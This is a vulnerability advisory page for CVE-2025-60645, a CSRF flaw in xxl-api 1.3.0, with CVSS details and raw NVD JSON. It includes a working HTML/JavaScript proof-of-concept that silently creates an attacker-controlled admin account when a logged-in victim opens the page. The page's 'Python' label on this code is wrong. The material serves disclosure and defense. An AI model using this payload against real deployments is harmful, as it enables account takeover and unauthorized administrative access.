Security Vulnerability Report
中文
CVE-2025-60645 CVSS 6.5 MEDIUM

CVE-2025-60645

Published: 2025-11-12 18:15:36
Last Modified: 2025-12-03 21:33:52

Description

A Cross-Site Request Forgery (CSRF) in xxl-api v1.3.0 allows attackers to arbitrarily add users to the management module via a crafted GET request.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:xuxueli:xxl-api:*:*:*:*:*:*:*:* - VULNERABLE
xxl-api v1.3.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CSRF PoC for CVE-2025-60645 - Add arbitrary user --> <!DOCTYPE html> <html> <head> <title>CSRF Exploit - CVE-2025-60645</title> </head> <body> <h1>CSRF Exploit - Add Admin User</h1> <p>This page will attempt to add a new admin user to xxl-api.</p> <script> // Target endpoint - modify based on actual deployment var targetUrl = 'http://target:8080/xxl-api-admin/user/add'; // Malicious user credentials var payload = { username: 'attacker_hacker', password: 'P@ssw0rd123!', role: 'admin', status: 1 }; // Construct GET request with query parameters var queryString = Object.keys(payload).map(function(key) { return key + '=' + encodeURIComponent(payload[key]); }).join('&'); var fullUrl = targetUrl + '?' + queryString; // Automatically send the request window.location.href = fullUrl; </script> <noscript> <p>If JavaScript is disabled, <a id="exploit" href="TARGET_URL">click here</a> to trigger exploit.</p> </noscript> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-60645", "sourceIdentifier": "[email protected]", "published": "2025-11-12T18:15:35.773", "lastModified": "2025-12-03T21:33:51.780", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A Cross-Site Request Forgery (CSRF) in xxl-api v1.3.0 allows attackers to arbitrarily add users to the management module via a crafted GET request."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:xuxueli:xxl-api:*:*:*:*:*:*:*:*", "versionEndIncluding": "1.3.0", "matchCriteriaId": "094677B5-3517-488E-BED8-BE433380C2D2"}]}]}], "references": [{"url": "https://gist.github.com/LockeTom/77fb982a49dee956101810bbefa09fb4", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/xuxueli/xxl-api/issues/64", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Vendor Advisory"]}]}}